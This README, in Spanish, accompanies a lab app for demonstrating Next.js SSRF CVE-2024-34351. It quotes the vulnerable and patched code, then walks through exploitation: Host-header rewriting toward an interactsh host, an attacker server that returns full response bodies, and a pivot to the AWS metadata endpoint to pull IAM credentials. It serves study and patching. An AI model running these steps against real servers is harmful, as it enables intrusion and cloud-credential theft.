
Aplicación demo mínima de Next.js 14.0.0 para la vulnerabilidad SSRF CVE-2024-34351. Incluye configuración del exploit, confirmación con interactsh, intercepción con Burp y pasos de escalada de metadatos de AWS.
Aplicación mínima de Next.js 14.0.0 para demostrar CVE-2024-34351 -- una vulnerabilidad de Server-Side Request Forgery (SSRF) en las Server Actions de Next.js.
Descubierta por Adam Kues y Shubham Shah en Assetnote. Corregida en Next.js 14.1.1.
Cuando una Server Action llama a redirect('/some-path'), Next.js construye una URL de fetch interna utilizando el encabezado Host de la solicitud entrante sin validación:
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // server makes this request
Un atacante que controle el encabezado Host puede apuntar este fetch interno a cualquier destino al que el servidor pueda acceder.
npm install
npm run build # must use production build -- dev mode routes redirects differently
npm run start # app runs at http://localhost:3000
interactsh es útil para confirmar que el servidor Next.js realiza una solicitud saliente hacia un host controlado por el atacante.
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client
En Burp Suite:
http://localhost:3000 y envía el formulario de inicio de sesión con la interceptación activadaHost: localhost:3000 por Host: abc123.oast.funEsto demuestra el SSRF saliente. La solicitud se origina en el proceso del servidor, no en el navegador.
interactsh no puede controlar su respuesta, por lo que Next.js no completará el GET. Para obtener el cuerpo completo de la respuesta, usa el servidor atacante incluido:
python3 attacker/attacker_server.py 8888
Establece el encabezado Host a <your-lan-ip>:8888 y reenvía. El servidor atacante responde
al HEAD con Content-Type: text/x-component, lo que desencadena el GET. El cuerpo completo de la respuesta
se devuelve dentro de la respuesta de Next.js visible en Burp.
Cuando la aplicación vulnerable se ejecuta en una instancia de AWS EC2, establece el encabezado Host a:
Host: 169.254.169.254
Next.js hará fetch del servicio de metadatos de la instancia. Para recuperar las credenciales IAM:
Host: 169.254.169.254
Luego ajusta la ruta de redirect o usa una solicitud de seguimiento para apuntar a:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
La respuesta completa de metadatos se devuelve al navegador del atacante.
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
La corrección prefiere process.env.__NEXT_PRIVATE_ORIGIN -- establecido al iniciar el servidor, no controlable por el atacante.